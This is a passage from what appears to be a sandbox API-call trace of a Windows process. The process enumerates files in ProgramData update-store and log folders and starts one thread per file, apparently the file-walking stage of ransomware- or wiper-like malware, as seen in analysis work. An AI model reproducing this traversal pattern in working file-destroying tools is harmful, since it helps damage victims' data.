	[0079.103] wcscmp (_String1="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", _String2=".") returned 1
	[0079.103] wcscmp (_String1="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", _String2="..") returned 1
	[0079.103] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4769c68
	[0079.103] wcscpy (in: _Dest=0x4769c68, _Source="C:\\ProgramData\\USOPrivate\\UpdateStore" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore") returned="C:\\ProgramData\\USOPrivate\\UpdateStore"
	[0079.103] wcscat (in: _Dest=0x4769c68, _Source="\\" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\"
	[0079.103] wcscat (in: _Dest=0x4769c68, _Source="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"
	[0079.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4769c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b8
	[0079.103] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2ddf078 | out: lpFindFileData=0x2ddf078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8b05b87d, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x8b959c89, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x52d, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 0
	[0079.103] FindClose (in: hFindFile=0x2dac978 | out: hFindFile=0x2dac978) returned 1
	[0080.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddf078) returned 1
	[0080.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac318) returned 1
	[0080.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85760) returned 1

Thread:
	id = 351
	os_tid = 0x14a4

	[0076.894] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73bb8
	[0076.894] wcscpy (in: _Dest=0x2d73bb8, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0076.894] wcscat (in: _Dest=0x2d73bb8, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0076.894] wcscat (in: _Dest=0x2d73bb8, _Source="*" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\*") returned="C:\\ProgramData\\USOShared\\Logs\\*"
	[0076.894] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddd398
	[0076.894] FindFirstFileW (in: lpFileName="C:\\ProgramData\\USOShared\\Logs\\*", lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x84bfee93, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x84bfee93, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.289] wcscmp (_String1=".", _String2=".") returned 0
	[0079.289] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x84bfee93, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x84bfee93, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.290] wcscmp (_String1="..", _String2=".") returned 1
	[0079.290] wcscmp (_String1="..", _String2="..") returned 0
	[0079.290] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x58d51fd9, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x597705f5, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.001.etl", cAlternateFileName="NOBE5B~1.ETL")) returned 1
	[0079.290] wcscmp (_String1="NotificationUx.001.etl", _String2=".") returned 1
	[0079.290] wcscmp (_String1="NotificationUx.001.etl", _String2="..") returned 1
	[0079.290] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753f98
	[0079.290] wcscpy (in: _Dest=0x4753f98, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.290] wcscat (in: _Dest=0x4753f98, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.290] wcscat (in: _Dest=0x4753f98, _Source="NotificationUx.001.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl"
	[0079.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1170
	[0079.291] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7cf76e0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x852e502, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.002.etl", cAlternateFileName="NOTIFI~2.ETL")) returned 1
	[0079.291] wcscmp (_String1="NotificationUx.002.etl", _String2=".") returned 1
	[0079.291] wcscmp (_String1="NotificationUx.002.etl", _String2="..") returned 1
	[0079.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753e30
	[0079.291] wcscpy (in: _Dest=0x4753e30, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.291] wcscat (in: _Dest=0x4753e30, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.291] wcscat (in: _Dest=0x4753e30, _Source="NotificationUx.002.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl"
	[0079.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1174
	[0079.292] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2d822f20, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2efd472c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.001.etl", cAlternateFileName="NO604C~1.ETL")) returned 1
	[0079.292] wcscmp (_String1="NotificationUxBroker.001.etl", _String2=".") returned 1
	[0079.292] wcscmp (_String1="NotificationUxBroker.001.etl", _String2="..") returned 1
	[0079.292] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bcd90
	[0079.292] wcscpy (in: _Dest=0x47bcd90, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.292] wcscat (in: _Dest=0x47bcd90, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.292] wcscat (in: _Dest=0x47bcd90, _Source="NotificationUxBroker.001.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl"
	[0079.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bcd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1178
	[0079.293] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfe554d51, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0xfe782447, ftLastWriteTime.dwHighDateTime=0x1d3375a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.002.etl", cAlternateFileName="NO8BA4~1.ETL")) returned 1
	[0079.293] wcscmp (_String1="NotificationUxBroker.002.etl", _String2=".") returned 1
	[0079.293] wcscmp (_String1="NotificationUxBroker.002.etl", _String2="..") returned 1
	[0079.293] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bce10
	[0079.293] wcscpy (in: _Dest=0x47bce10, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.293] wcscat (in: _Dest=0x47bce10, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.293] wcscat (in: _Dest=0x47bce10, _Source="NotificationUxBroker.002.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl"
	[0079.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bce10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x117c
	[0079.293] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfdf01be1, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfdfc06a7, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.003.etl", cAlternateFileName="NO3670~1.ETL")) returned 1
	[0079.294] wcscmp (_String1="NotificationUxBroker.003.etl", _String2=".") returned 1
	[0079.294] wcscmp (_String1="NotificationUxBroker.003.etl", _String2="..") returned 1
	[0079.294] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bce90
	[0079.294] wcscpy (in: _Dest=0x47bce90, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.294] wcscat (in: _Dest=0x47bce90, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.294] wcscat (in: _Dest=0x47bce90, _Source="NotificationUxBroker.003.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl"
	[0079.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bce90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1180
	[0079.294] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x588b3c6a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x59ae67c8, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.004.etl", cAlternateFileName="NO2FB3~1.ETL")) returned 1
	[0079.294] wcscmp (_String1="NotificationUxBroker.004.etl", _String2=".") returned 1
	[0079.294] wcscmp (_String1="NotificationUxBroker.004.etl", _String2="..") returned 1
	[0079.294] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bcf10
	[0079.294] wcscpy (in: _Dest=0x47bcf10, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.294] wcscat (in: _Dest=0x47bcf10, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.294] wcscat (in: _Dest=0x47bcf10, _Source="NotificationUxBroker.004.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl"
	[0079.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bcf10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1184
	[0079.295] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xb4b94410, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0xb50917ed, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.005.etl", cAlternateFileName="NO74F7~1.ETL")) returned 1
	[0079.295] wcscmp (_String1="NotificationUxBroker.005.etl", _String2=".") returned 1
	[0079.295] wcscmp (_String1="NotificationUxBroker.005.etl", _String2="..") returned 1
	[0079.295] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bd010
	[0079.295] wcscpy (in: _Dest=0x47bd010, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.295] wcscat (in: _Dest=0x47bd010, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.295] wcscat (in: _Dest=0x47bd010, _Source="NotificationUxBroker.005.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl"
	[0079.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bd010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1188
	[0079.296] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x86d6bb14, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x8728eea2, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.006.etl", cAlternateFileName="NOC92C~1.ETL")) returned 1
	[0079.296] wcscmp (_String1="NotificationUxBroker.006.etl", _String2=".") returned 1
	[0079.296] wcscmp (_String1="NotificationUxBroker.006.etl", _String2="..") returned 1
	[0079.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bd590
	[0079.296] wcscpy (in: _Dest=0x47bd590, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.296] wcscat (in: _Dest=0x47bd590, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.296] wcscat (in: _Dest=0x47bd590, _Source="NotificationUxBroker.006.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl"
	[0079.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bd590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118c
	[0079.297] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe7f77c60, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xebc8ba4e, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.007.etl", cAlternateFileName="NOAEB3~1.ETL")) returned 1
	[0079.297] wcscmp (_String1="NotificationUxBroker.007.etl", _String2=".") returned 1
	[0079.297] wcscmp (_String1="NotificationUxBroker.007.etl", _String2="..") returned 1
	[0079.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bd290
	[0079.297] wcscpy (in: _Dest=0x47bd290, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.297] wcscat (in: _Dest=0x47bd290, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.297] wcscat (in: _Dest=0x47bd290, _Source="NotificationUxBroker.007.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl"
	[0079.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bd290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1190
	[0079.298] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe1017621, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe10d621a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.008.etl", cAlternateFileName="NO6494~1.ETL")) returned 1
	[0079.298] wcscmp (_String1="NotificationUxBroker.008.etl", _String2=".") returned 1
	[0079.298] wcscmp (_String1="NotificationUxBroker.008.etl", _String2="..") returned 1
	[0079.298] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bd990
	[0079.298] wcscpy (in: _Dest=0x47bd990, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.298] wcscat (in: _Dest=0x47bd990, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.298] wcscat (in: _Dest=0x47bd990, _Source="NotificationUxBroker.008.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl"
	[0079.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bd990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1194
	[0079.298] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2fb7ebe4, ftLastAccessTime.dwHighDateTime=0x1d327d1, ftLastWriteTime.dwLowDateTime=0x2fc89ca0, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.009.etl", cAlternateFileName="NO492C~1.ETL")) returned 1
	[0079.298] wcscmp (_String1="NotificationUxBroker.009.etl", _String2=".") returned 1
	[0079.298] wcscmp (_String1="NotificationUxBroker.009.etl", _String2="..") returned 1
	[0079.298] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bd410
	[0079.298] wcscpy (in: _Dest=0x47bd410, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.298] wcscat (in: _Dest=0x47bd410, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.299] wcscat (in: _Dest=0x47bd410, _Source="NotificationUxBroker.009.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl"
	[0079.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bd410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1198
	[0079.299] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xd855139b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd87b395e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.010.etl", cAlternateFileName="NO0EF1~1.ETL")) returned 1
	[0079.299] wcscmp (_String1="NotificationUxBroker.010.etl", _String2=".") returned 1
	[0079.299] wcscmp (_String1="NotificationUxBroker.010.etl", _String2="..") returned 1
	[0079.299] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bdf10
	[0079.299] wcscpy (in: _Dest=0x47bdf10, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.299] wcscat (in: _Dest=0x47bdf10, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.299] wcscat (in: _Dest=0x47bdf10, _Source="NotificationUxBroker.010.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl"
	[0079.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bdf10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x119c
	[0079.300] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x1ff683d6, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x20000d39, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.011.etl", cAlternateFileName="NOC3D2~1.ETL")) returned 1
	[0079.300] wcscmp (_String1="NotificationUxBroker.011.etl", _String2=".") returned 1
	[0079.300] wcscmp (_String1="NotificationUxBroker.011.etl", _String2="..") returned 1
	[0079.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bdb90
	[0079.300] wcscpy (in: _Dest=0x47bdb90, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.300] wcscat (in: _Dest=0x47bdb90, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.300] wcscat (in: _Dest=0x47bdb90, _Source="NotificationUxBroker.011.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl"
	[0079.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bdb90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a0
	[0079.301] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x46e2de3d, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x46eecb64, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.012.etl", cAlternateFileName="NOA86A~1.ETL")) returned 1
	[0079.301] wcscmp (_String1="NotificationUxBroker.012.etl", _String2=".") returned 1
	[0079.301] wcscmp (_String1="NotificationUxBroker.012.etl", _String2="..") returned 1
	[0079.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bdc10
